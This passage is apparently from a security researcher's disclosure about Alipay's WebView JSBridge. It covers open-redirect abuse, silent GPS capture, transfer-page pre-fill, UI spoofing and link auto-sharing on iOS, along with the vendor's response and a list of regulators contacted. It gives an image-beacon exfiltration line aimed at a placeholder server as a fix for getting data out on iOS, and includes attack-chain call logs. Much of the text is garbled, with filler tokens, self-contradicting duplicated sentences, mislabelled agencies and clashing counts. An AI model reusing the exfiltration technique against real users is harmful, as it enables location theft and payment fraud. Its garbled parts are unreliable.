    "safePayEnabled": "true",
    "appId": "20000067",
    "url": "http://192.168.80.12:8888/chain1.html"
  }
}
```

Transfer Page Pre-fill Success

```
{"tag": "f_startApp:0000(09999988)", "data": {"status": "ok", "result": {"success": true}}}
```

```
{"tag": "f_pushWindow:transfer_scheme", "data": {"status": "ok", "result": {"success": "true"}}}
```

```
{"tag": "f_pushWindow:cashier(0000)", "data": {"status": "ok", "result": {"success": "true"}}}
```

```
{"tag": "f_tradePay:full_orderStr", "data": {"status": "ok", "result": {"resultCode": "6001"}}}
```

User-Agent WebView User-Agent Proves Data Originates from Alipay WebView

```
Mozilla/5.0 (Linux; Android 16; 23129RN51X Build/BP2A.250605.031.A3; wv)
AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/126.0.6478.122
NebulaSDK/1.8.100112 Nebula
AliApp(AP/10.8.26.7000) AlipayClient/10.8.26.7000
Language/zh-Hant Region/CN
```

User-Agent `NebulaSDK` `AliApp(AP/10.8.26.7000)` `AlipayClient` — `Nebula WebView` The User-Agent contains `NebulaSDK`, `AliApp(AP/10.8.26.7000)`, `AlipayClient` — unique identifiers of the Alipay Nebula WebView container that cannot be forged. This proves these requests genuinely originated from within the Alipay app.

Evidence File Inventory

| File Type | Count | Description | | Device Screenshots | 42 | CRITICAL
 25 + 17 25 with CRITICAL labels + 17 general verification | | Server Logs
 | 308 entries | exfil_server_log_20260307_complete.jsonl (136 KB)
 exfil_server_log_20260307_complete.jsonl (136 KB) | | PoC HTMLPoC HTML | 8 |

chain1~chain8 扫描 + trigger 扫描 chain1~chain8 attack chains + trigger page | | | 扫描扫描
Attack Server | 1 | Python server.py (扫描扫描 + 扫描扫描) Python server.py (data collection +
logging) | | | Nginx | 1 | nginx_exfil_access.log (52 KB) nginx_exfil_access.log (52 KB) | |

06 扫描扫描 Cross-Platform Verification

扫描扫描扫描 3 扫描扫描扫描扫描扫描扫描 Android 扫描 iOS 扫描

All attack chains were independently verified on 3 real devices across Android and iOS platforms:

扫描
Samsung Galaxy S25 Ultra
SM-S938B
Android 16 (API 36)
扫描, 扫描 Auckland, New Zealand
Alipay 10.8.26.7000

扫描
Redmi 23129RN51X
Xiaomi
Android 16 (API 36)
扫描, 扫描 Penang, Malaysia
Alipay 10.8.26.7000

扫描
iPhone 16 Pro
iPhone (18,4)
iOS 26.3.1
扫描, 扫描 Hangzhou, China
Alipay 10.8.30.6000

07 iOS 扫描扫描 iOS-Specific Risks

iPhone 扫描扫描 API 扫描 Android 扫描扫描扫描扫描

API permissions on iPhone are **more permissive** than Android, creating a larger attack surface:

| API | Android | iOS | 扫描Risk | | | tradePay | 扫描N/A | 扫描Available | 扫描 SDKTriggers
payment SDK | | | share | 扫描N/A | 扫描Available | 扫描扫描 — 扫描扫描扫描扫描/QQ **Worm
propagation vector** — auto-share malicious links to WeChat/QQ | | | scan | 扫描N/A | 扫描
Available | 扫描扫描Opens camera | | | chooseImage | 扫描N/A | 扫描Available | 扫描扫描Access photo

library | | | getLocation | checkJSAPI | checkJSAPI N/A | | Available | | Location theft |

On iOS, the `share` API automatically shares malicious links to WeChat, QQ, SMS, DingTalk, etc. → **Worm Risk:** The `share` API on iOS means the attacker page can automatically share the malicious link to WeChat, QQ, SMS, DingTalk, etc. One victim clicks → malicious link auto-shared to contacts → exponential propagation.

08 Working Defenses

Alipay's security architecture does have some working defensive measures. The following APIs are correctly blocked from external domains (returning `permission denied`):

To be objective, Alipay's security architecture does have some working defensive measures. The following APIs are correctly blocked from external domains (returning `permission denied`):

- `clipboard` read/write
- `getUserInfo`
- `rpc` (RPC backend RPC calls)
- `httpRequest` (bridge-level)
- `openInBrowser`
- `sendSMS` (actual sending blocked)
- `makePhoneCall`

JSBridge implements 17 APIs that are not yet controlled by permission mechanisms.

This demonstrates that Alipay **has the capability** to implement domain whitelisting and permission controls at the JSBridge level. The APIs involved in the 17 issues above simply **haven't been added to the same permission control mechanism yet**.

09 Vendor Response & Discussion

2026-03-10 Ant Group's Response (2026-03-10): The reported issues are "normal functionality of Alipay," not considered security vulnerabilities.

Ant Group

Ant Group's response to the reported issues:

- 308 issues related to GPS, WebView, etc. are "normal functionality of Alipay."
- `startApp` returns `success: true` for malicious links.
- "Normal functionality of Alipay" API related to GPS, etc. are "normal functionality of Alipay."

- 攻击者通过调用 `clipboard` 和 `getUserInfo` 接口获取了 `getLocation` 和 `startApp` 接口的调用参数，通过调用 `API` 接口实现了攻击链。
- 攻击者通过调用 `getLocation` 接口获取了攻击者的 GPS 位置信息。
- 攻击者通过调用 `startApp` 接口打开了攻击者的 Alipay 应用。

攻击者通过调用 `getLocation` 接口获取了攻击者的 GPS 位置信息。

GPS 攻击者通过调用 `getLocation` 接口获取了攻击者的 GPS 位置信息。

攻击者通过调用 `startApp` 接口打开了攻击者的 Alipay 应用。攻击者通过调用 `startApp` 接口打开了攻击者的 Alipay 应用。攻击者通过调用 `startApp` 接口打开了攻击者的 Alipay 应用。

Our Response

We fully respect the vendor's judgment. However, the following facts do not change based on the classification decision:

- **Data was indeed exfiltrated.** The 308 server log entries are not simulated. GPS coordinates (pointing to Penang urban area) were indeed transmitted from Alipay WebView to our server. This fact is independent of whether it's classified as a "vulnerability."
- **The transfer page was indeed triggered externally.** `startApp` returned `success: true`, the transfer page opened, and the attacker's account was pre-filled. This fact is independent of the classification.
- **Users are not adequately informed.** The "Continue to visit" warning does **not** tell users: "This website will gain the ability to call Alipay internal APIs, including reading your GPS location, opening transfer pages, etc." Users don't know what clicking "Continue" means.
- **Defense mechanism inconsistency.** If `clipboard` and `getUserInfo` are correctly blocked, why don't `getLocation` and `startApp` receive the same protection? The inconsistent treatment of different APIs within the same security framework at minimum indicates room for improvement.
- **Test account was banned.** If these are all "normal features," why did our test account trigger risk controls when using these "normal features"? This itself indicates the system considers these behaviors abnormal.
- **Right to public discussion.** Since the vendor officially confirmed these are not security vulnerabilities but "normal features," discussing the security implications of Alipay's "normal features" should be entirely appropriate.

We publish this technical analysis not to argue about whether something is a "vulnerability." **We are simply publicly describing a fact: an attacker can, through a single link, obtain GPS location from Alipay, open transfer pages, and display fake notifications — without the user understanding the consequences.** Readers can judge for themselves whether this is a security concern worth attention.

Important Clarification: None of the attack chains described in this article can achieve "zero-interaction automatic transfers/debits." Fund transfers still require the user to actively tap the confirmation button. The core risk we discuss is: under the combined

attack of UI spoofing + social engineering + pre-filled information, the probability of users making erroneous operations is significantly increased. We strictly distinguish between "page navigation succeeded" and "fund operation completed," and make no exaggerations.

10 全球监管响应 Global Regulatory Response

截至 **2026-03-17**，我们已向 40+ 国家/地区 300+ 监管机构、CERTs、隐私监管机构、媒体机构和社区发送了 649 封安全通知邮件。截至 **2026-03-17**，我们已向 41 家机构/平台正式响应。As of **2026-03-17**: We have sent 649 security notification emails to 300+ regulatory bodies, CERTs, privacy authorities, media outlets, and security communities across 40+ countries/regions. **41 institutions/platforms have formally responded.** Below is a summary.

监管机构/机构 (7)

| # | 国家 | 地区 | 机构 | || 1 | **HKMA** | 香港 | 金融管理局 | 关于 Alipay 的漏洞通知 | || 2 | **PDPC** | 新加坡 | 数据保护委员会 | 关于 Alipay 的漏洞通知 | || 3 | **Apple Product Security** | 美国 | 苹果公司 | Apple 关于 Alipay 漏洞的官方声明 | || 4 | **Google Play** | 美国 | 谷歌 | "We will investigate and take appropriate action" | || 5 | **MITRE CVE** | 美国 | 36 个 CVE (11 tickets) | MITRE 漏洞数据库 | || 6 | **CSSF** | 加拿大 | 网络安全中心 | 关于 Alipay 漏洞的通知 | || 7 | **Whistleblowing + ICT Risk** | 4 个国家 | 举报和 ICT 风险监督 | 关于 Alipay 漏洞的通知 | || 8 | **Packet Storm Security** | 中国 | 漏洞社区 | [Advisory #217089](#) — "Alipay Open Redirect / API Attacker Payload Insertion" |

监管机构/机构 (11)

| # | 国家 | 地区 | 机构 | || 1 | **CIRCL** | 比利时 | 计算机应急响应中心 | 关于 Alipay 漏洞的通知 | || 2 | **ANSSI / CERT-FR** | 法国 | 网络安全局 | 关于 Alipay 漏洞的通知 | || 3 | **HKCERT** | 香港 | 网络安全应急响应中心 | 关于 Alipay 漏洞的通知 | || 4 | **FMA** | 意大利 | 金融管理局 | 关于 Alipay 漏洞的通知 | || 5 | **FCA** | 英国 | 金融行为监管局 | 关于 Alipay 漏洞的通知 | || 6 | **DNB** | 德国 | 德意志银行 | 关于 Alipay 漏洞的通知 | || 7 | **OJK** | 印度尼西亚 | 金融服务管理局 | 关于 Alipay 漏洞的通知 | || 8 | **OAIC** | 中国 | 国家互联网信息办公室 | 关于 Alipay 漏洞的通知 | || 9 | **EDPB** | 欧洲 | 欧洲数据保护委员会 | 关于 Alipay 漏洞的通知 | || 10 | **ThaiCERT** | 泰国 | 泰国计算机应急响应中心 | 关于 Alipay 漏洞的通知 | || 11 | **BNM** | 马来西亚 | 马来西亚国家银行 | 关于 Alipay 漏洞的通知 |

监管机构/机构 (8)

BSP 监管机构 OSFI 隐私监管机构 Privacy International ProPublica CNA/Mediacorp Datatilsynet DSB IMY

总结

- 漏洞 ~189 个 22 个漏洞/机构 160 个
- 漏洞 ~90% 在 4 天内修复

- 39+ 23%
- 7 HKMA PDPC Apple Google MITRE CSSF Packet Storm
- CIRCL CERT Alibaba Security Response Center
- HKCERT → CNCERT

I. Formal Investigations / Case Filed (7)

| # | Organization | Country | Status | Key Information | | 1 | **HKMA (Hong Kong Monetary Authority)** | Hong Kong | **Formal Complaint Filed** | Assigned to Senior Officer at Retail Payment Oversight Division. SVF licensee complaint form submitted. | | 2 | **PDPC (Personal Data Protection Commission)** | Singapore | **Under Investigation** | Formal investigation case opened. | | 3 | **Apple Product Security** | USA | **Forwarded to Investigation Team** | Human response from Product Security confirming report forwarded to investigation team. Investigating high-risk JSBridge APIs exposed on Alipay iOS. | | 4 | **Google Play** | USA | **Policy Violation Investigation** | "We will investigate and take appropriate action." | | 5 | **MITRE CVE** | USA | **36 CVEs Pending Assignment (11 tickets)** | 36 CVE requests submitted via CNA-LR pathway across 11 MITRE tickets. All receipts confirmed. | | 6 | **CSSF (Luxembourg Financial Regulator)** | Luxembourg | **Whistleblowing Case + ICT Risk Confirmed** | 4 departments/channels acknowledged (Whistleblowing case filed + ICT Risk Supervision confirmed ×2 + Reclamation confirmed). ICT Risk Supervision explicitly stated they "take note of the contents." Supplementary evidence submitted linking to 2025 AML penalty. | | 7 | **Packet Storm Security** | USA | **Published** | [Advisory #217089](#) | |

II. Acknowledged & Transferred (11)

| # | Organization | Country | Response | | 1 | **CIRCL (National CERT Luxembourg)** | | Incident handler responded personally. **Contacted Alibaba SRC on our behalf.** | | 2 | **ANSSI / CERT-FR** | | "Forwarded to the appropriate department." | | 3 | **HKCERT** | | **Forwarded to CNCERT** (China's National CERT). | | 4 | **FMA** | | "Considering whether to take further action." | | 5 | **FCA** | | Whistleblowing team reviewing (AIUK Services Ltd, formerly Alipay UK Ltd). | | 6 | **DNB** | | Cyber Defense Center acknowledged, routed to supervisory channel. | | 7 | **OJK** | | Requested details. Full technical report provided. | | 8 | **OAIC** | | Intake team confirmed receipt. | | 9 | **EDPB** | | Acknowledged cross-border data protection complaint. | | 10 | **ThaiCERT** | | "Forwarded to the responsible person." | | 11 | **BNM** | | Ticket acknowledged. | |

III. Auto-Acknowledgments (8)

BSP (Philippines), OSFI (Canada), Privacy International, ProPublica (USA), CNA/Mediacorp (Singapore), Datatilsynet (Denmark), DSB (Austria), IMY (Sweden).

Overview

- Total sent: ~189 emails across 22 countries/regions, ~160 targets

- Delivery rate: ~**90%** (bounces corrected through 4 rounds)
- Responses: **39+** (~23% response rate)
- **7 formal investigations:** HKMA, PDPC, Apple, Google, MITRE, CSSF, Packet Storm
- **CIRCL** proactively contacted Alibaba SRC on our behalf
- **HKCERT → CNCERT:** The only pathway to mainland China entities activated

Note: To protect ongoing investigations, certain case reference numbers and contact emails have been redacted. This table will be updated as investigations progress.

Independent Corroboration: Parallel Assessment by Top US Tech Policy Think Tank

2026年3月6日——距离公开披露5日——信息科技基金会 (ITIF) 发布 "Alipay Presents Real Risks — But Don't Rush to Ban It"

ITIF 发布报告指出"支付宝收集了购买历史、设备位置、政府ID、健康数据、生物特征标记"并呼吁FTC和CFPB审计。它引用了中国的国家情报法第7条，指出政府可以合法地要求公司分享收集的数据。

报告还指出，当 whitelist 绕过允许攻击者获取用户的GPS和设备信息时，数据主权风险将进一步放大。

On March 6, 2026 — **5 days before our public disclosure** — the [Information Technology & Innovation Foundation \(ITIF\)](#) published "Alipay Presents Real Risks — But Don't Rush to Ban It."

ITIF is ranked by the University of Pennsylvania as the **world's most authoritative science and technology policy think tank**. The article independently identifies Alipay as collecting "purchase histories, device locations, government IDs, health data, and biometric markers," and calls for FTC and CFPB audits. It cites China's National Intelligence Law Article 7, noting the government can legally compel companies to share collected data.

This entirely independent assessment is highly consistent with our technical findings: **when a whitelist bypass allows arbitrary attackers to obtain users' GPS and device information, data sovereignty risks are amplified further.**

用户自我保护指南

在供应商解决这些问题之前，普通用户可以采取以下步骤来降低风险：

Until the vendor addresses these issues, ordinary users can take the following steps to reduce risk:

- | | | | | | |
|---|----|--|------|---|--|
| # | 措施 | 描述 | 覆盖范围 | 1 | 不要点击未知链接 |
| | | ds.alipay.com 或 alipays:// | | | Be cautious with links containing ds.alipay.com or alipays://, especially from group chats, SMS, or emails |
| | | 所有漏洞 | | 2 | 禁用位置权限 |
| | | 在系统设置中，将支付宝的位置权限更改为“仅在用时”或“关闭”；必要时临时启用 | | | |
| | | GPS 静默GPS外泄 | | 3 | 验证转账详情 |
| | | 任何 | | | |

transfer/payment page that appears, carefully verify recipient information — don't confirm just because the page "looks normal" | [Transfer pre-fill attack](#) | | 4 | [Transfer pre-fill attack](#)

Disable small-amount password-free payments | [Transfer pre-fill attack](#) → [Transfer pre-fill attack](#) → [Transfer pre-fill attack](#) → [Transfer pre-fill attack](#)

[Transfer pre-fill attack](#)Settings → Payment Settings → Password-free Payment → Disable. Ensure every payment requires password/biometric confirmation | [Transfer pre-fill attack](#)Payment interface invocation | | 5 | [Transfer pre-fill attack](#)**Keep app updated** | [Transfer pre-fill attack](#)If the vendor silently patches issues (community feedback suggests some APIs have changed), updating to the latest version provides protection | [Transfer pre-fill attack](#)Patched interfaces | |

Community Questions & Responses

[GitHub](#) [V2EX](#) [LINUX DO](#) [Transfer pre-fill attack](#)

This research has sparked professional discussions on [GitHub](#), [V2EX](#), [LINUX DO](#) and other platforms. We thank all security professionals who participated in the technical discussion and address the main questions below.

Q1: DeepLink / URL Scheme is normal design, not a vulnerability

[GitHub Issue #4](#) (sevck), [V2EX](#) (Puteulanus)

DeepLink is a standard mechanism in the mobile ecosystem

[ds.alipay.com](#) has an **open redirect** that allows anyone to load arbitrary external pages into Alipay's privileged WebView via the whitelisted domain, gaining full JSBridge API access. This is not about "DeepLink existing" — it is about the security boundary being completely breached.

- [CWE-601 \(URL Redirection to Untrusted Site\)](#) is explicitly classified as a vulnerability in OWASP Top 10
- [CWE-939 \(Improper Authorization in Handler for Custom URL Scheme\)](#) is a standard vulnerability classification
- [Google Android Security docs](#) explicitly list unsafe use of Deep Links as a security risk

Source: [GitHub Issue #4](#) (sevck), [V2EX](#) (Puteulanus)

We agree: DeepLink is a standard mechanism in the mobile ecosystem. We never defined "the existence of DeepLink" as a vulnerability.

But the core issue is: Alipay's own domain [ds.alipay.com](#) has an **open redirect** that allows anyone to load arbitrary external pages into Alipay's privileged WebView via the whitelisted domain, gaining full JSBridge API access. This is not about "DeepLink existing" — it is about the **security boundary being completely breached**.

- [CWE-601 \(URL Redirection to Untrusted Site\)](#) is explicitly classified as a vulnerability in OWASP Top 10
- [CWE-939 \(Improper Authorization in Handler for Custom URL Scheme\)](#) is a standard vulnerability classification
- [Google Android Security docs](#) explicitly list unsafe use of Deep Links as a security risk

Analogy: A door lock is a normal design. But if anyone can open your door lock with a slip of paper, that's a vulnerability in the lock — not "door locks aren't vulnerabilities."

Q2GPS 权限在用户授予 Alipay 后 WebView 访问 GPS 是正常行为 Q2: "GPS access under existing user permissions is normal behavior"

📄GitHub Issue #4 (sevck, rama2910****10)

权限 vs 行为

| 场景 | 用户期望 | 实际行为 || 用户授予 Alipay GPS 权限 | 用于 Alipay 自身功能 | 正常 || 外部攻击者通过 WebView 访问 GPS | 不在用户期望内 | 权限滥用 || 标准浏览器请求位置 | 显示确认对话框 | W3C 标准 || 支付宝 WebView 中的外部页面请求位置 | 应显示对话框 | 无对话框，静默访问 ||

正如 nailchu 在讨论中指出的：“我授权了支付宝，而不是任何想要我位置的攻击者。即使浏览器显示‘该网站正在请求您的位置’。”

当用户授予位置权限给支付宝时，他们信任的是 **Alipay** —— 而不是任何可以加载到支付宝的 WebView 中的网页。当攻击者的页面通过白名单绕过并静默调用 `getLocation` 时，这是对用户信任的滥用。

Evidence: 308 服务器日志条目记录了从 3 台真实设备（8.8m 精度）中静默获得的 GPS 坐标，耗时 7 秒，交互 0 次。freshnn 在 GitHub Issue #5 也独立证实了“静默 GPS”在 Android 上有效。

Source: GitHub Issue #4 (sevck, rama2910****10)

This is a question of permission delegation vs. permission abuse.

| Scenario | User Expectation | Actual Behavior || User grants Alipay GPS permission | Used by Alipay's own functions | Normal || External attacker accesses GPS via WebView | Not within user's expectation | Permission abuse || Standard browser requests location | Shows confirmation dialog | W3C standard || External page in Alipay WebView requests location | Should show dialog | No dialog, silent access ||

As nailchu pointed out in the discussion: "I authorized Alipay, not any attacker who wants my location. Even browsers show 'This website is requesting your location.'"

When users grant location permission to Alipay, they trust **Alipay** — not any random webpage that can be loaded into Alipay's WebView. When an attacker's page enters the WebView via whitelist bypass and silently calls `getLocation`, this is an abuse of user trust.

Evidence: 308 server log entries documenting GPS coordinates silently obtained from 3 real devices (8.8m accuracy), completed in 7 seconds, with 0 user interactions. freshnn on GitHub Issue #5 also independently confirmed "silent GPS" works on Android.

Q3Chrome 预填充需要用户确认，类似于 Chrome 表单自动填充 Q3: "Transfer pre-fill requires user confirmation, similar to Chrome form auto-fill"

📄GitHub Issue #4 (sevck, rama2910****10)

权限 vs 行为 2 部分 + 背景/上下文

Chrome 行为

- Chrome 预填充 — 需要用户确认
- 预填充的 URL 需要用户确认 — 需要确认
- 通过 UI 调用 `setTitle / showToast` 需要用户确认

背景/上下文 PoC CVE-2024-40676

Android 预填充行为

Source: GitHub Issue #4 (sevck, rama2910****10)

We partially agree: Transfers indeed require at least 2 clicks + password/biometric confirmation and cannot complete automatically. This precondition is already explicitly stated in the relevant sections of this report.

But the Chrome analogy is inaccurate:

- Chrome auto-fills data **previously saved by the user** — attackers cannot specify the pre-filled content
- Alipay's pre-fill is **specified by the attacker via URL parameters** for recipient account and amount — fundamentally different
- Combined with UI spoofing (`setTitle / showToast`), attackers can fabricate legitimate-looking transfer reasons, reducing user vigilance

An independent security researcher wrote a PoC and concluded: *"I still consider this a vulnerability, but with lower severity."* The researcher also cited [CVE-2024-40676](#) (Android precedent): reducing user interaction steps itself can constitute a vulnerability.

Q4 iOS 无法复现 Q4: "Cannot reproduce data exfiltration on iOS"

GitHub Issue #5 (freshnn)

freshnn 在 iOS 上无法复现 Android 上的 GPS 数据窃取

原因如下

- **HTTPS 限制** — 在 PoC 中 HTTPS WebView 尝试通过 HTTP WKWebView 发送 request 并接收 response
- **CSP connect-src 限制** — 在 WebView 中 CSP 的 `connect-src` 限制了连接
- **Image beacon** — 通过 `new Image().src = "https://server/log?data=..."` 发送 simple request 但 `connect-src` 阻止了
- **JSBridge** — 尝试通过 JSBridge 发送数据但被阻止

参考 [meooxx](#) 的 CORS 测试——发现 response 请求被阻止，simple request 可以正常发送

在 iPhone 16 Pro (iOS 18.3) 上测试 GPS 数据窃取，发现 iPhone 上的 iOS 无法复现 Android 上的 GPS 数据窃取

参考 [Issue #5](#) 关于 iOS 的讨论

Source: GitHub Issue #5 (freshnn)

freshnn 报告称，iOS 可以调用并打开相关页面，但服务器接收不到数据；Android "silent GPS" 被成功复现。

Possible causes:

- **HTTPS mixed content blocking** — 如果 PoC 页面在 Alipay 的 HTTPS WebView 中加载，但窃取目标是 HTTP，WKWebView 将完全阻止请求（这会阻止请求本身，而不仅仅是响应）

- **CSP connect-src restriction** — Alipay's WebView may set CSP `connect-src` directives that block requests to external domains
- **Solution** — Use Image beacon (`new Image().src = "https://server/log?data=..."`) which is a simple request not restricted by `connect-src`
- **Alipay version differences** — Different versions may have different JSBridge authentication policies; test with the latest version

Technical correction: Thanks to [meooxx](#) for pointing out that CORS is a browser-side policy — it blocks the browser from reading the response, not the request from reaching the server. For simple requests, the server always receives the request.

Key fact: Our iPhone 16 Pro (iOS 18.3) test **did successfully** obtain GPS data (recorded in server logs). Ant Group's security lead's iPhone in Hangzhou was also successfully captured. iOS reproduction requires specific server configuration — the vulnerability exists, but the PoC setup matters.

We will provide a detailed iOS reproduction troubleshooting guide in [Issue #5](#).

Q5: "This is a general browser design issue, not specific to Alipay"

V2EX (Puteulanus)

WebView ≠

WebView (Nebula)	Location request	Confirmation dialog	Silent access	Payment API	tradePay callable	Internal navigation	startApp navigates to sensitive pages	Device fingerprint	User-Agent	IMEI/Brand/Model/Carrier	UI control	setTitle/showToast spoofable
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API =

Source: V2EX (Puteulanus)

Alipay WebView ≠ standard browser. Key differences:

Capability	Standard Browser	Alipay WebView (Nebula)	Location request	Confirmation dialog	Silent access	Payment API	tradePay callable	Internal navigation	startApp navigates to sensitive pages	Device fingerprint	User-Agent	IMEI/Brand/Model/Carrier	UI control	setTitle/showToast spoofable
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The very existence of the whitelist proves that Alipay **itself recognizes** the need to restrict which pages can access these privileged APIs. Bypassing the whitelist = bypassing **Alipay's own security boundary**.

Independent Verification & Institutional Recognition

- **Packet Storm Security** — [Advisory #217089](#)
- **MITRE** — 36 CVE (11 tickets)
- **Apple Product Security** — (Case OE0105****3014)

- **Google Play** — 0000000000 (Case 9-7515****0640)
- **CSSF** 0000 — 4 0000000000 ICT Risk Supervision 0000
- **PDPC** 0000 — 000000000000 (#006****24)
- **CIRCL** 0000 **CERT** — 00000000000000 Alibaba SRC
- **HKMA** 000000 — 00000 (Case CE2026****5412)
- 0000000000 GitHub — 0000 PoC 00000000
- **freshnn** GitHub 0000 — 0000 Android 00 GPS 0000

The validity of this research has been verified by multiple independent third parties:

- **Packet Storm Security** — Reviewed and published [Advisory #217089](#)
- **MITRE** — 36 CVE submissions across 11 tickets acknowledged
- **Apple Product Security** — Proactively launched investigation (Case OE0105****3014)
- **Google Play** — Policy violation investigation (Case 9-7515****0640)
- **CSSF Luxembourg** — 4 departments confirmed receipt, ICT Risk Supervision explicitly noted
- **PDPC Singapore** — Formal data protection investigation (#006****24)
- **CIRCL Luxembourg CERT** — Incident handler proactively contacted Alibaba SRC on our behalf
- **HKMA Hong Kong** — Case filed (CE2026****5412)
- **Independent researcher** (GitHub) — Independently wrote PoC and confirmed vulnerability exists
- **freshnn** (GitHub user) — Independently confirmed silent GPS reproduction on Android

Legal Complaint Response

□□□□□[□□□]

2026-03-11 22:45:59 4 29

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- [illegible]

payment tool used by 1B+ users has features exploitable via external links, security research and public discussion serve the legitimate public interest.

6. Responsible disclosure fully compliant — We submitted 4 rounds of private reports (2026-02-25 to 2026-03-07) before public disclosure. We waited for the vendor's explicit response ("normal features"). Per ISO/IEC 29147:2018 and Google Project Zero's 90-day standard, our process is fully compliant.

We have submitted complete appeal materials to the WeChat platform. If the complainant disputes the technical facts, we welcome verification through an independent third-party technical assessment.

Full rebuttal article: [How Can an Article That Never Mentions "Alipay" Constitute "Reputation Infringement"?](#)

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Research Nature Statement

- This research was conducted solely for security research and educational purposes, in accordance with the freedom of scientific research guaranteed by Article 47 of the PRC Constitution.
- All testing was performed on the researcher's own devices and accounts. No third-party systems were harmed.
- The research team is an independent security research institution with no payment business and no commercial interest with any competing enterprise.

Responsible Disclosure Compliance

- All findings and remediation suggestions were submitted to the vendor through 4 rounds of private reports (2026-02-25 to 2026-03-07) before any public disclosure.
- The vendor officially responded on 2026-03-10 with "normal functionality," explicitly declining to remediate.
- Public disclosure occurred only after the vendor explicitly closed the dialogue, in compliance with ISO/IEC 29147:2018 responsible disclosure standards.
- Published content covers only technical facts already known to the vendor and does not constitute "unauthorized publication of cybersecurity information" (Cybersecurity Law Article 26).

Legal Basis

- **PRC Civil Code Article 1025:** One shall not bear civil liability for supervising public interest when content is truthful and does not exceed reasonable limits.
- **Consumer Rights Protection Law Article 8:** Consumers have the right to know the true conditions of services they use.
- **PRC Civil Code Article 1024:** Reputation infringement requires targeting a specific subject — this article names no company.
- **CVSS 3.1:** The international vulnerability scoring system explicitly recognizes "user interaction required" findings as valid security issues.

Content Safety Statement

- This article does not contain any complete PoC code that could be directly used for attacks (critical parameters are sanitized).
- Online demonstration pages are read-only with all data exfiltration functionality disabled.
- We honestly labeled the verification status of each finding, including parts where defenses are effective.
- All descriptions involving financial operations explicitly note "user manual confirmation still required."

📄📄📄📄 Contact

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(<https://innora.ai/cdn-cgi/l/email-protection>)

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If Ant Group wishes to discuss further, request clarification, or ask for specific content updates after reading this article, please email **[]** (<https://innora.ai/cdn-cgi/l/email-protection>). If the issues discussed here are addressed in future versions, we will promptly update this article with the fix status. Other security researchers with questions about the technical analysis or who wish to exchange findings are also welcome to reach out.